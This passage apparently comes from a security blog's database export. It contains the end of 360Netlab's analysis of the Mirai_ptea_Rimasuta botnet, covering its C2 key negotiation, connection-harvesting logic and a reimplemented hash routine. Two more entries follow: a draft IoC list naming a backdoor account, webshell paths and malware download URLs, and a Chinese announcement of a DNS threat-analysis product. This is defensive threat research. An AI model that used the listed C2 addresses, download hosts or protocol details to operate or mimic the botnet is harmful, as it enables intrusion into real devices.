the key negotiation in the second step, we will take the actual data traffic generated in the following figure as an example, and we will discuss step by step how Bot & C2 get the same key.\n\n<img src=\"__GHOST_URL__/content/images/2021/09/masu_packet.png\" width=\"860px\" />\n\nStage1 is the typical process of establishing communication with TOR C2. Starting from Stage2, Mirai_ptea_Rimasuta's packets consist of 3 parts: `head(2bytes), hash(4bytes), and content(Nbytes)`, where the value of head is fixed in a session and the value of hash is calculated by the hash_calc function for content in the appendix.\n\nThe whole negotiation process is shown as follows.\n\n1. Bot randomly generates 12 characters and uses the hash_calc algorithm in the appendix to get the value of Net_teakey[0]. At this time Bot has Net_teakey[0], C2 does not know the value of task Net_teakey.\n<img src=\"__GHOST_URL__/content/images/2021/09/masu_ag1.png\" width=\"860px\" />\n \n\n2. Bot randomizes 8 characters to form content, uses hash_calc to calculate content to get hash, and puts the low 16 bits of the hash value into head, then sends this packet of 14 bytes long to C2, and finally calculates the whole packet by hash_calc to get Net_teakey[2] value, at this time Bot has Net_teakey[0,2] and C2 has Net_teakey[2].\n<img src=\"__GHOST_URL__/content/images/2021/09/masu_ag2.png\" width=\"860px\" />\n \n\n3. C2 returns the packet to Bot, and the value of the hash is used in step \n\n4. After receiving the packet back from C2, Bot forms the content with local IP, random characters in step 1, encrypts it using TEA algorithm (Res_teakey is the key), constructs a packet of 32 bytes in length and sends it to C2, where the value of hash is Net_teakey[1], and finally calculates the C2 hash from step 3 with its own Bot hash is calculated by hash_calc, to be Net_teakey[3]. At this point, Bot already knows the 4 values in Net_teakey, and the order of acquisition is [0,2,1,3].\n<img src=\"__GHOST_URL__/content/images/2021/09/masu_ag4.png\" width=\"860px\" />\n \n\n5. After C2 receives Bot's packet, it first gets Net_teakey[1], then gets Net_teakey[3] by hash_calc, and finally decrypts content to get the 12 strings used by Bot in step 1, and then gets Net_teakey[0] by hash_calc. At this point, C2 also knows the 4 values in Net_teakey, which are obtained in the order of [2,1,3,0].\n\nAt this point, the negotiation process ends, and the subsequent communication between Bot & C2 uses the TEA algorithm to encrypt & decrypt the key for Net_teakey.\n<img src=\"__GHOST_URL__/content/images/2021/09/masu_netenc.png\" width=\"860px\" />\n\n### 0x5: Information gathering function\n\nThis active Mirai_ptea_Rimasuta sample monitors the TCP network connections of the compromised device and uploads the connection details that meet specific requirements to the Reporter. we believe that the authors of Mirai_ptea_Rimasuta will rely on this part of its collected information for his own data mining.\n\nThe specific implementation process can be divided into the following steps.\n\n1. Get the inode information of the current TCP network connection via /proc/net/tcp, as well as the state State information of the network connection\n\n2. Get the socket inode from /proc/[pid]/fd, match it with the inode in step 1, and get the corresponding process.\n\n3. Get the cmdline information of the process in step 2 from /proc/[pid]/cmdline\n\n4. If the state of the network connection is \"established\" and there is a \"wget\" string in the cmdline, the cmdline of the process and the remote address & port of the network communication will be reported to the Reporter.\n\n5. If the State of the network connection is \"listen\" and the local port is one of \"3451,8888,17872,9137\", and a process has established a connection with this process, the cmdline of this process and the remote address & port of the network communication will be reported to Reporter.\n\n6. If the state of the network connection is neither \"established\" nor \"listen\", the cmdline of the process and the remote address & port of the network communication will be reported to Reporter.\n \nThe following code snippet is used to establish communication with the Reporter, where the Reporter decrypted the contents and get `gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion`.\n\n\n\nAfter successfully establishing communication with the Reporter, the message to be reported is constructed with the following code snippet.\n<img src=\"__GHOST_URL__/content/images/2021/09/masu_repdata.png\" width=\"860px\" />\n\n\nThe actual Report packet generated, and the meaning of the fields, is shown below.\n\n```\nRAW packet\n00000000: 5A A5 90 D9 F9 37 B4 D6 00 AC 1E 01 09 3A 77 67 Z....7.......:wg\n00000010: 65 74 20 2D 71 20 2D 4F 20 2D 20 68 74 74 70 3A et -q -O - http:\n00000020: 2F 2F 69 63 6D 70 2E 64 76 72 69 6E 73 69 64 65 //icmp.dvrinside\n00000030: 2E 63 6F 6D 3A 39 30 30 30 2F 47 65 74 50 75 62 .com:9000/GetPub\n00000040: 6C 69 63 4E 61 6D 65 20 licName \n----------------------------------------------------------------------------\nField parsing\n5A A5\t\t\t----> magic, 2bytes\n90 D9 F9 37\t\t----> remote ip, 4 bytes\nB4 D6\t\t\t----> remote port, 2 bytes\n00\t\t\t\t----> hardcode, 1 byte\nAC 1E 01 09\t\t----> local ip\n3A\t\t\t\t----> length of \"cmdline\"\n77 67 ..to end ----> cmdline \n```\n\n\n# Recommendation\n\nWe recommend RUIJIE router users to check and update the firmware system in time. Set a complex login password for the Web management interface.\n\n\n# Suggestions\nWe recommend that users check and update their device firmwares in a timely manner, and check whether there are default accounts that should be disabled.\n\nWe recommend the following IoCs to be monitored and blocked on the networks where it is applicable.\n\n# Contact us\nReaders are always welcomed to reach us on [Twitter](https://twitter.com/360Netlab) or email us to netlab at 360 dot cn.\n\n# IoC\n### Downloader\n\n```\nhttp://2[.56.244.121/tuPuSSbAxXIW\nhttp://2[.56.244.121/gkTHLPZAAsmP\nhttp://2[.56.244.121/VqIXrFxAGpPD\nhttp://2[.56.244.157/qSdYKoxbZakW\nhttp://2[.56.244.157/iZXPWXshhRRt\nhttp://2[.56.244.157/vnlWcwcBunwk\nhttp://2[.56.244.157/IAqecfTrQwQF\nhttp://2[.56.244.157/bwgFHtUOGJcv\nhttp://2[.56.244.121/KaoJHwKMBiAJ\nhttp://2[.56.244.157/yhZyIAclbmhD\nhttp://2[.56.244.157/PszBtRNfnzBO\nhttp://2[.56.244.157/SywXQrWdNIrM\nhttp://2[.56.244.157/awfLWTOmgxTX\nhttp://2[.56.244.157/zEkFejmPQeVR\nhttp://91[.211.91.56/mIoCinspKSkE\nhttp://91[.211.89.242/vkvTxquhFCGV\nhttp://91[.211.88.220/OOGRLHgUnshR\n```\n\n### Sample MD5\n\n```\nb01b0bc32469f11a47d6e54eef8c7ffb\n1a5329dcda994df16e6896f870f04f5e\n344df0446b8b40588ca5e72ad3ef7217\n777792d3df3f1850fa667b4afbb2cfc1\na6ddfec272fbf867a4cf3c154eaf47aa\n904cbd20a5996125f91f9c7c02ca9bbd\n```\n\n### C2\n```\nuf7ejrtdd6vvrsobk6rtsuicwogqyf6g72s55qop2kvpt7r4wfui6fqd.onion:20346\nwrabajewouypwxdsq4rxn7heb3k53ihoogik46ji6o7gj65yeo33reqd.onion:32288\nt5pmcdgiipaznhuexh2usvojfixqzudnizgzeyihsyu7e5rehj7bfkad.onion:17774\nrg7t465nvnnzugdbdqdg3yf2pypssynb4wxavgghb4me2lecnw23ivyd.onion:6000\nvmdm5jrmksizpt6f7trsno6od7xcfs6hzywah46eaju72jkfvqbqdcqd.onion:27644\npnjc66nasxdomwlyqo32d4ft43pooo7s4yuom3gn2gr5bmcpw7lgq4qd.onion:4409\n```\n\n### Reporter\n```\ngmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion:6667\ngmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion:6668\ngmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion:6669\n```\n\n### Appendix\n```\n----------------------------------------------------------------------\nRAW packet\n#00000048 99 9f 29 9c 9f 99 72 53 4b 7f e9 08 7c 9b ..)...rS K...|.\n# head 99 9f\n# hash 29 9c 9f 99\n# content 72 53 4b 7f e9 08 7c 9b\n----------------------------------------------------------------------\ndef hash_calc(buf,len):\n cnt=len>>2\n cnt2=len&3\n sum=len\n \n for i in range(0,cnt*4,4):\n tmp=((ord(buf[i+1])<<8)+ord(buf[i])+sum)\n tmp2=(tmp^(((ord(buf[i+3])<<8)+ord(buf[i+2]))<<11)&0xffffffff)^((tmp<<16)&0xffffffff)\n sum=(tmp2+(tmp2>>11))&0xffffffff\n \n if cnt2==3:\n tmp=((ord(buf[cnt*4+1])<<8) +ord(buf[cnt*4])+sum)&0xffffffff\n tmp2=tmp^((ord(buf[cnt*4+2])<<18)&0xffffffff)^((tmp<<16)&0xffffffff)\n sum=(tmp2+(tmp2>>11))&0xffffffff\n \n elif cnt2==2:\n tmp=((ord(buf[cnt*4+1])<<8) +ord(buf[cnt*4])+sum)&0xffffffff\n sum=(tmp^(tmp<<11)&0xffffffff)+((tmp^(tmp<<11)&0xffffffff)>>17)\n \n elif cnt2==1:\n tmp=(((ord(buf[cnt*4])+sum)<<10)&0xffffffff)^ (ord(buf[cnt*4])+sum) \n sum=(tmp+(tmp>>1))&0xffffffff\n \n else:\n pass\n \n tmp3=(sum^(sum*8)&0xffffffff)+((sum^(8*sum)&0xffffffff)>>5)\n tmp4=(tmp3^(16*tmp3)&0xffffffff)+((tmp3^(16*tmp3)&0xffffffff)>>17)\n final=(tmp4^(tmp4<<25)&0xffffffff)+((tmp4^(tmp4<<25)&0xffffffff)>>6)\n\n return final&0xffffffff\n\ncontent='''\n72 53 4b 7f e9 08 7c 9b\n'''.replace(' ', '').replace('\\n','').decode('hex')\nprint hex(hash_calc(content,len(content)))\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 61528e6c3819e500076352d2 |
post | null | 2021-10-14T02:12:40.000Z | 63873b9a8b1c1e0007f52fe6 | untitled-6 | 0 | 2021-10-14T02:12:40.000Z | public | draft | null | null | (Untitled) | null | null | {"version":"0.3.1","markups":[],"atoms":[],"cards":[],"sections":[[1,"p",[[0,[],0,""]]]],"ghostVersion":"3.0"} | 616792183819e500076353cd |
post | null | 2021-10-14T02:23:56.000Z | 63873b9a8b1c1e0007f52fe7 | untitled-11 | 0 | 2021-10-14T02:35:33.000Z | public | draft | null | null | (Untitled) | <!--kg-card-begin: markdown--><h3 id="ioc">IoC</h3>
<p>后门帐户：</p>
<pre><code>wasthere
</code></pre>
<p>Webshell:</p>
<pre><code>http://{target}/photo/Samples/rS82*********.php
http://{target}/cgi-bin/sysdebug***.cgi
</code></pre>
<p>Multi-hop Proxy Attacker IP:</p>
<pre><code>84.110.216.242 Israel ASN8551 Bezeq International
</code></pre>
<p>URL:</p>
<pre><code>http://188.161.164.161:19527/dropbearmulti_latest_arm
http://185.19.221.236:10517/dropbearmulti_latest_arm_modified
http://197.246.50.79:14601/dropbearmulti_mips
http://188.227.234.203:12845/dropbearmulti_mips
http://188.161.221.203:14769/dropbearmulti_mips
http://41.205.113.221:19243/dropbearmulti_latest_arm
https://pastebin.com/raw/Hie2NLXP
</code></pre>
<p>MD5:</p>
<pre><code>26deb391fb065fbd12a40ba8e3d2fcae
aa70287907cde0b4eb6e8834cb5a6651
02bd87e6f4a48e97b061641270f60ab1
7cffd02594bef2f491fcd29fa6d00e24
</code></pre>
<!--kg-card-end: markdown--> | IoC
后门帐户：
wasthere
Webshell:
http://{target}/photo/Samples/rS82*********.php
http://{target}/cgi-bin/sysdebug***.cgi
Multi-hop Proxy Attacker IP:
84.110.216.242 Israel ASN8551 Bezeq International
URL:
http://188.161.164.161:19527/dropbearmulti_latest_arm
http://185.19.221.236:10517/dropbearmulti_latest_arm_modified
http://197.246.50.79:14601/dropbearmulti_mips
http://188.227.234.203:12845/dropbearmulti_mips
http://188.161.221.203:14769/dropbearmulti_mips
http://41.205.113.221:19243/dropbearmulti_latest_arm
https://pastebin.com/raw/Hie2NLXP
MD5:
26deb391fb065fbd12a40ba8e3d2fcae
aa70287907cde0b4eb6e8834cb5a6651
02bd87e6f4a48e97b061641270f60ab1
7cffd02594bef2f491fcd29fa6d00e24
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"### IoC\n后门帐户：\n```\nwasthere\n```\n\nWebshell:\n```\nhttp://{target}/photo/Samples/rS82*********.php\nhttp://{target}/cgi-bin/sysdebug***.cgi\n```\n\n\nMulti-hop Proxy Attacker IP:\n```\n84.110.216.242 \tIsrael \tASN8551 \tBezeq International\n```\n\nURL:\n```\nhttp://188.161.164.161:19527/dropbearmulti_latest_arm\nhttp://185.19.221.236:10517/dropbearmulti_latest_arm_modified\nhttp://197.246.50.79:14601/dropbearmulti_mips\nhttp://188.227.234.203:12845/dropbearmulti_mips\nhttp://188.161.221.203:14769/dropbearmulti_mips\nhttp://41.205.113.221:19243/dropbearmulti_latest_arm\nhttps://pastebin.com/raw/Hie2NLXP\n```\n\nMD5:\n```\n26deb391fb065fbd12a40ba8e3d2fcae\naa70287907cde0b4eb6e8834cb5a6651\n02bd87e6f4a48e97b061641270f60ab1\n7cffd02594bef2f491fcd29fa6d00e24\n```\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 616794bc3819e500076353e6 |
post | null | 2021-10-15T02:53:43.000Z | 63873b9a8b1c1e0007f52fe8 | 360dta-announced | 0 | 2021-12-06T04:51:14.000Z | public | published | __GHOST_URL__/content/images/2021/12/bg1.jpg | 2021-10-21T02:13:23.000Z | 七年一剑，360 DNS威胁分析平台 | <p> 360Netlab (360 网络安全研究院) 自2014年成立以来，大网安全分析相关技术一直是我们的核心研究方向，我们是最早在国内提出从数据维度做安全的团队 ，并将大数据技术、AI技术和威胁情报应用于大网安全研究工作中。过去7年多的安全研究，我们取得了非常多耀眼的成果：我们是 360 情报云最主要的情报供应团队之一，建立了国内首个也是最大的公开<a href="https://passivedns.cn">PassiveDNS系统</a>，以及多个业内领先的Whois、证书、IP、样本等基础数据系统。我们诸多研究成果被国内外媒体转载报道，并多次在国际顶级安全会议发表演讲。我们在全球范围内率先披露了2位数以上有影响力的僵尸网络，并获得 FBI 的致谢，发现并命名的Satori僵尸网络的作者被美国国土安全局抓获并判刑，还有诸多不方便公开的实例不一而足。</p><p> 凡是过往，皆为序章。</p><p> 虽然过去7年我们一直以安全研究的形象出现，但这两年我们开始主动尝试产品化的探索。 我们这么做不是为了KPI，而是渴望将我们在安全研究中积累的技术优势能够实实在在的应用到企业网络中，在更大维度内为客户网络安全直接贡献我们的力量，为客户的企业网络保驾护航。为了实现这个理想，我们从2019年开始研发 <strong>360 DNS 威胁分析平台 (DTA)</strong>，经过2年多反复打磨，今天正式对外介绍这款产品，这是360Netlab推出的首款商业产品，也是承载部门理想的产品。这个产品的定位不是传统的“大而全”，而是希望在 DNS 威胁分析这一个点上做得足够深、足够精，真正能替用户发现安全问题，为用户提供一个全新维度的安全工具。</p><!--kg-card-begin: markdown--><h2 id="360dns">360 DNS威胁分析平台</h2>
<!--kg-card-end: markdown--><p> 企业在网络安全体系建设中存在一个普遍现象，虽然采购了很多安全设备，但始终对自己的网络安全缺乏信心，究其原因，我们认为一个重要因素是客户无法“看见”网络内究竟在发生什么，有没有真正高可疑的威胁，如果有威胁能否进行有效的分析。从安全专家的角度来看，及时发现威胁，并能对威胁进行有效的分析和处置，是企业安全体系建设中至关重要的一环。<strong>360 DNS威胁分析平台 (DTA)</strong> 的产品初衷就是帮助客户从数据的维度看见自己的网络（security visibility），对自己的安全体系重拾信心。360 DTA 实现这一目标的核心理念是，让情报发挥应有价值，让威胁分析真正有效。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/10/815AF727-176B-4452-BDF8-8A49B9D73094.png" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ul>
<li><strong>让情报发挥应有价值</strong></li>
</ul>
<!--kg-card-end: markdown--><p> 威胁情报发展到今天已不再是一个新概念，很多安全厂商都建设了自己的 TIP，很多安全产品也都集成了威胁情报。但对于情报的应用，很多产品都有两个明显的缺陷。首先是机械的将威胁情报 IoC 视作黑名单，在流量中命中就告警。这会带来大量误报，并且产生的告警缺失上下文，用户既不明白报警的原因，也就不知道如何分析或者如何处置。另一个缺陷是目前主要的威胁情报源自云端，而真正来自企业本地独有数据、企业面对的真实威胁往往被忽视。大多产品的实现是命中某个 IoC 时，简单在 WEB 界面通过一个超链接跳转到云端 TIP 平台，但 TIP 上的情报信息是通用的，而客户本地的攻击是具体的，有针对性的，将情报和本地具体的请求行为，资产信息相结合来分析，才是对情报真正有价值的利用。DTA 不仅有360 安全大脑海量威胁情报的赋能，同时作为情报生产团队，我们对于情报的价值有深刻的理解，并将情报应用到威胁检测、威胁分析的每一个环节。</p><ul><li><strong>让威胁分析真正有效</strong></li></ul><p> 很多时候安全产品不被信任的一个重要原因是安全设备是一个黑盒子，客户只能被动接收设备的告警，但无论是基于规则的告警，还是基于算法或情报的告警，都是基于通用场景设计的，不是为某个具体企业或某次具体攻击行为设计的。而企业面临的威胁错综复杂，通用场景设计的规则往往很难有效发现一些定向攻击、高级攻击。DTA 以安全分析专家的视角去设计威胁分析功能，用户既可以简单直接查看系统经过多重环节筛选后的有效告警，更可以主动在产品内深入分析自己企业网络的流量。而用户看似简单的每一步分析操作，背后都有 DTA 海量情报和强大数据处理引擎的支撑，帮助用户降低威胁分析门槛，定位真实网络攻击。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/10/360-DTA-investigate.gif" class="kg-image" alt loading="lazy"></figure><h3 id="-">应用场景</h3><p> DTA 典型的应用场景是部署在客户企业内网，仅接入 DNS 流量就可以工作。通过分析内网 DNS 流量，检测内网潜伏的已知威胁、未知威胁和网络异常，精准定位失陷资产，并提供丰富的威胁线索和分析工具，帮助用户深入分析自己的网络流量，定位高级攻击行为。但客户企业规模不同，安全建设阶段不同，关心的问题也会不同。我们概括了 DTA 三个主要应用场景，以及在这些场景下能为客户提供的核心价值。</p><ul><li>安全体系成熟的客户</li></ul><p> 安全体系建设成熟的客户，往往面对的攻击也更加复杂，例如 0-day 攻击、定向攻击、APT 攻击，这类攻击最难于检测却最具威胁。 DTA 的未知威胁检测能力、深入威胁分析能力，可以帮助客户及时识别这类高级威胁，快速进行处置。基于 DNS 流量的未知威胁检测一直是我们 360Netlab 的一个核心研究方向，我们在这个领域有超过7年的研究，积累了大量知识、经验、数据和算法模型，将这些积累应用到 DTA 的未知威胁检测模型中，让 DTA 具备了优秀的未知威胁、高级威胁检测能力。再加上功能强大的威胁分析系统，让客户可以深入分析网络内每一次请求，定位真实的攻击行为。</p><ul><li>安全建设初期的客户</li></ul><p> 对于安全建设初期的客户，通常更关心降本增效，希望以较低成本解决尽可能多的安全问题，覆盖尽可能多的资产。DTA 仅依赖 DNS 流量就可以工作，而 DNS 流量有接入部署成本低、覆盖范围广的特点。企业内几乎所有联网设备都会发出DNS请求，而DNS流量仅占企业内网总流量的1‰ - 1%，但根据美国安全厂商<a href="https://www.paloaltonetworks.com/resources/whitepapers/stop-attackers-from-using-dns-against-you">Palo Alto Networks 的研究</a>，超过80%的恶意软件在和 C2 通信阶段会使用 DNS 协议，因此基于 DNS流量的威胁检测是一个简单又行之有效的方式。再加上 360 作为国内最大的网络安全公司，在安全数据、云端情报建设上有遥遥领先的优势， 有了360安全大脑的赋能，客户通过部署 DTA，可以较低成本快速建立起基础的安全运营能力。</p><ul><li>大流量监管</li></ul><p> 对于城市安全运营部门或行业监管部门，有城市出口流量或行业流量监管的需求。这类场景通常会面临两个巨大的挑战，首先是流量异常复杂，真实威胁流量混杂在绝大多数正常的流量中，很难准确识别。另一个挑战是这类场景通常数据量巨大，对系统的处理性能和分析能力是非常大的考验，协议层越往上，分析难度越大，容易造成一个常见的困境：虽有海量数据，但无从下手，有价值数据被淹没。DTA 在大流量威胁分析方面经验丰富，我们 360Netlab 运营多年的<a href="__GHOST_URL__/use-dns-data-produce-threat-intelligence/">DNSMon 系统</a>每日对千亿级别的大网 DNS 流量进行分析，在无任何先验知识的情况下，每日输出数千条高风险恶意域名，并通过<a href="https://dns.360.cn/">360 安全DNS</a>为国内约2000万用户提供安全解析服务。此外 DTA 整体采用分布式系统设计，所有模块均可根据流量大小水平扩展，并能根据客户基础设施不同，运行于私有云、公有云、容器云平台，可有效支持大流量监管的场景。</p><h3 id="--1">三大创新</h3><p> 长久以来，很多安全设备一直因为大量漏报、误报，被广受诟病。每天动辄数千、数万的报警，让安全运营人员疲于奔命，真实威胁隐藏在大量误报中无法被有效聚焦。而大安全时代，攻击手段越来越高级，企业面对的安全威胁越来越复杂，对于高级威胁、未知威胁检测机制存在严重不足。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/10/image-28.png" class="kg-image" alt loading="lazy"></figure><p> 我们对这款产品的自信，源自我们通过一些技术创新，优化了一些其它产品没有很好解决的问题。这些创新具体体现在未知威胁检测、精准告警、高效威胁分析三个方面。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/10/image-27.png" class="kg-image" alt loading="lazy"></figure><h3 id="--2">核心功能 </h3><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/10/image-40.png" class="kg-image" alt loading="lazy"></figure><ul><li><strong>威胁检测</strong></li></ul><p> 通过高质量情报和多个创新检测模型，检测内网的已知威胁、未知威胁和网络异常，精准定位失陷资产。其中未知威胁检测是 DTA 的亮点功能，可以帮助用户及时发现高级威胁，快速进行处置。</p><ul><li>威胁分析</li></ul><p> 安全专家设计的威胁研判、威胁分析系统，将企业 DNS 流量掰开了、揉碎了进行重新组合、标注、并将本地数据与云端情报深度融合，让用户可以主动在 DTA 产品内深入分析自己企业网络的流量，定位真实攻击行为。</p><ul><li>可视化</li></ul><p> 客户流量接入 DTA 后，系统自动对流量进行建模，通过可视化方式，为企业的网络建立全局视野。并通过特征和行为分析算法，自动识别数字资产，在不需要人工维护的情况下实现数字资产和风险可视化。</p><h3 id="--3">初露锋芒</h3><p> 过去一年多时间，DTA 一直作为 360 自身安全运营的一部分，在 360 企业内网试运行，在实战中不断打磨自己，也在实战中开始展露自己，并成功发现了多起真实威胁。360 作为国内安全建设最为健全的公司之一，如果 DTA 能发现多起真实威胁，相信部署到我们的客户网络后，同样能帮助我们的客户提升安全运营能力，加强纵深防御深度。作为一款新产品，DTA 已经展现出了一些亮点，但离我们的目标还有很大距离，期待和我们的客户一起，以客户的真实需求、面对的真实威胁为指引，共同将DTA 打造成一款更加优秀成熟的安全产品。</p><p>商务咨询，联系 <a href="mailto:[email protected]" rel="noopener noreferrer">[email protected]</a></p> | 360Netlab (360 网络安全研究院) 自2014年成立以来，大网安全分析相关技术一直是我们的核心研究方向，我们是最早在国内提出从数据维度做安全的团队 ，并将大数据技术、AI技术和威胁情报应用于大网安全研究工作中。过去7年多的安全研究，我们取得了非常多耀眼的成果：我们是 360 情报云最主要的情报供应团队之一，建立了国内首个也是最大的公开PassiveDNS系统，以及多个业内领先的Whois、证书、IP、样本等基础数据系统。我们诸多研究成果被国内外媒体转载报道，并多次在国际顶级安全会议发表演讲。我们在全球范围内率先披露了2位数以上有影响力的僵尸网络，并获得 FBI 的致谢，发现并命名的Satori僵尸网络的作者被美国国土安全局抓获并判刑，还有诸多不方便公开的实例不一而足。
凡是过往，皆为序章。
虽然过去7年我们一直以安全研究的形象出现，但这两年我们开始主动尝试产品化的探索。 我们这么做不是为了KPI，而是渴望将我们在安全研究中积累的技术优势能够实实在在的应用到企业网络中，在更大维度内为客户网络安全直接贡献我们的力量，为客户的企业网络保驾护航。为了实现这个理想，我们从2019年开始研发 360 DNS 威胁分析平台 (DTA)，经过2年多反复打磨，今天正式对外介绍这款产品，这是360Netlab推出的首款商业产品，也是承载部门理想的产品。这个产品的定位不是传统的“大而全”，而是希望在 DNS 威胁分析这一个点上做得足够深、足够精，真正能替用户发现安全问题，为用户提供一个全新维度的安全工具。
360 DNS威胁分析平台
企业在网络安全体系建设中存在一个普遍现象，虽然采购了很多安全设备，但始终对自己的网络安全缺乏信心，究其原因，我们认为一个重要因素是客户无法“看见”网络内究竟在发生什么，有没有真正高可疑的威胁，如果有威胁能否进行有效的分析。从安全专家的角度来看，及时发现威胁，并能对威胁进行有效的分析和处置，是企业安全体系建设中至关重要的一环。360 DNS威胁分析平台 (DTA) 的产品初衷就是帮助客户从数据的维度看见自己的网络（security visibility），对自己的安全体系重拾信心。360 DTA 实现这一目标的核心理念是，让情报发挥应有价值，让威胁分析真正有效。
* 让情报发挥应有价值
威胁情报发展到今天已不再是一个新概念，很多安全厂商都建设了自己的 TIP，很多安全产品也都集成了威胁情报。但对于情报的应用，很多产品都有两个明显的缺陷。首先是机械的将威胁情报 IoC 视作黑名单，在流量中命中就告警。这会带来大量误报，并且产生的告警缺失上下文，用户既不明白报警的原因，也就不知道如何分析或者如何处置。另一个缺陷是目前主要的威胁情报源自云端，而真正来自企业本地独有数据、企业面对的真实威胁往往被忽视。大多产品的实现是命中某个 IoC 时，简单在 WEB 界面通过一个超链接跳转到云端 TIP 平台，但 TIP 上的情报信息是通用的，而客户本地的攻击是具体的，有针对性的，将情报和本地具体的请求行为，资产信息相结合来分析，才是对情报真正有价值的利用。DTA 不仅有360 安全大脑海量威胁情报的赋能，同时作为情报生产团队，我们对于情报的价值有深刻的理解，并将情报应用到威胁检测、威胁分析的每一个环节。
* 让威胁分析真正有效
很多时候安全产品不被信任的一个重要原因是安全设备是一个黑盒子，客户只能被动接收设备的告警，但无论是基于规则的告警，还是基于算法或情报的告警，都是基于通用场景设计的，不是为某个具体企业或某次具体攻击行为设计的。而企业面临的威胁错综复杂，通用场景设计的规则往往很难有效发现一些定向攻击、高级攻击。DTA 以安全分析专家的视角去设计威胁分析功能，用户既可以简单直接查看系统经过多重环节筛选后的有效告警，更可以主动在产品内深入分析自己企业网络的流量。而用户看似简单的每一步分析操作，背后都有 DTA 海量情报和强大数据处理引擎的支撑，帮助用户降低威胁分析门槛，定位真实网络攻击。
应用场景
DTA 典型的应用场景是部署在客户企业内网，仅接入 DNS 流量就可以工作。通过分析内网 DNS 流量，检测内网潜伏的已知威胁、未知威胁和网络异常，精准定位失陷资产，并提供丰富的威胁线索和分析工具，帮助用户深入分析自己的网络流量，定位高级攻击行为。但客户企业规模不同，安全建设阶段不同，关心的问题也会不同。我们概括了 DTA 三个主要应用场景，以及在这些场景下能为客户提供的核心价值。
* 安全体系成熟的客户
安全体系建设成熟的客户，往往面对的攻击也更加复杂，例如 0-day 攻击、定向攻击、APT 攻击，这类攻击最难于检测却最具威胁。 DTA 的未知威胁检测能力、深入威胁分析能力，可以帮助客户及时识别这类高级威胁，快速进行处置。基于 DNS 流量的未知威胁检测一直是我们 360Netlab 的一个核心研究方向，我们在这个领域有超过7年的研究，积累了大量知识、经验、数据和算法模型，将这些积累应用到 DTA 的未知威胁检测模型中，让 DTA 具备了优秀的未知威胁、高级威胁检测能力。再加上功能强大的威胁分析系统，让客户可以深入分析网络内每一次请求，定位真实的攻击行为。
* 安全建设初期的客户
对于安全建设初期的客户，通常更关心降本增效，希望以较低成本解决尽可能多的安全问题，覆盖尽可能多的资产。DTA 仅依赖 DNS 流量就可以工作，而 DNS 流量有接入部署成本低、覆盖范围广的特点。企业内几乎所有联网设备都会发出DNS请求，而DNS流量仅占企业内网总流量的1‰ - 1%，但根据美国安全厂商Palo Alto Networks 的研究，超过80%的恶意软件在和 C2 通信阶段会使用 DNS 协议，因此基于 DNS流量的威胁检测是一个简单又行之有效的方式。再加上 360 作为国内最大的网络安全公司，在安全数据、云端情报建设上有遥遥领先的优势， 有了360安全大脑的赋能，客户通过部署 DTA，可以较低成本快速建立起基础的安全运营能力。
* 大流量监管
对于城市安全运营部门或行业监管部门，有城市出口流量或行业流量监管的需求。这类场景通常会面临两个巨大的挑战，首先是流量异常复杂，真实威胁流量混杂在绝大多数正常的流量中，很难准确识别。另一个挑战是这类场景通常数据量巨大，对系统的处理性能和分析能力是非常大的考验，协议层越往上，分析难度越大，容易造成一个常见的困境：虽有海量数据，但无从下手，有价值数据被淹没。DTA 在大流量威胁分析方面经验丰富，我们 360Netlab 运营多年的DNSMon 系统每日对千亿级别的大网 DNS 流量进行分析，在无任何先验知识的情况下，每日输出数千条高风险恶意域名，并通过360 安全DNS为国内约2000万用户提供安全解析服务。此外 DTA 整体采用分布式系统设计，所有模块均可根据流量大小水平扩展，并能根据客户基础设施不同，运行于私有云、公有云、容器云平台，可有效支持大流量监管的场景。
三大创新
长久以来，很多安全设备一直因为大量漏报、误报，被广受诟病。每天动辄数千、数万的报警，让安全运营人员疲于奔命，真实威胁隐藏在大量误报中无法被有效聚焦。而大安全时代，攻击手段越来越高级，企业面对的安全威胁越来越复杂，对于高级威胁、未知威胁检测机制存在严重不足。
我们对这款产品的自信，源自我们通过一些技术创新，优化了一些其它产品没有很好解决的问题。这些创新具体体现在未知威胁检测、精准告警、高效威胁分析三个方面。
核心功能
* 威胁检测
通过高质量情报和多个创新检测模型，检测内网的已知威胁、未知威胁和网络异常，精准定位失陷资产。其中未知威胁检测是 DTA 的亮点功能，可以帮助用户及时发现高级威胁，快速进行处置。
* 威胁分析
安全专家设计的威胁研判、威胁分析系统，将企业 DNS 流量掰开了、揉碎了进行重新组合、标注、并将本地数据与云端情报深度融合，让用户可以主动在 DTA 产品内深入分析自己企业网络的流量，定位真实攻击行为。
* 可视化
客户流量接入 DTA 后，系统自动对流量进行建模，通过可视化方式，为企业的网络建立全局视野。并通过特征和行为分析算法，自动识别数字资产，在不需要人工维护的情况下实现数字资产和风险可视化。
初露锋芒
过去一年多时间，DTA 一直作为 360 自身安全运营的一部分，在 360 企业内网试运行，在实战中不断打磨自己，也在实战中开始展露自己，并成功发现了多起真实威胁。360 作为国内安全建设最为健全的公司之一，如果 DTA 能发现多起真实威胁，相信部署到我们的客户网络后，同样能帮助我们的客户提升安全运营能力，加强纵深防御深度。作为一款新产品，DTA 已经展现出了一些亮点，但离我们的目标还有很大距离，期待和我们的客户一起，以客户的真实需求、面对的真实威胁为指引，共同将DTA 打造成一款更加优秀成熟的安全产品。
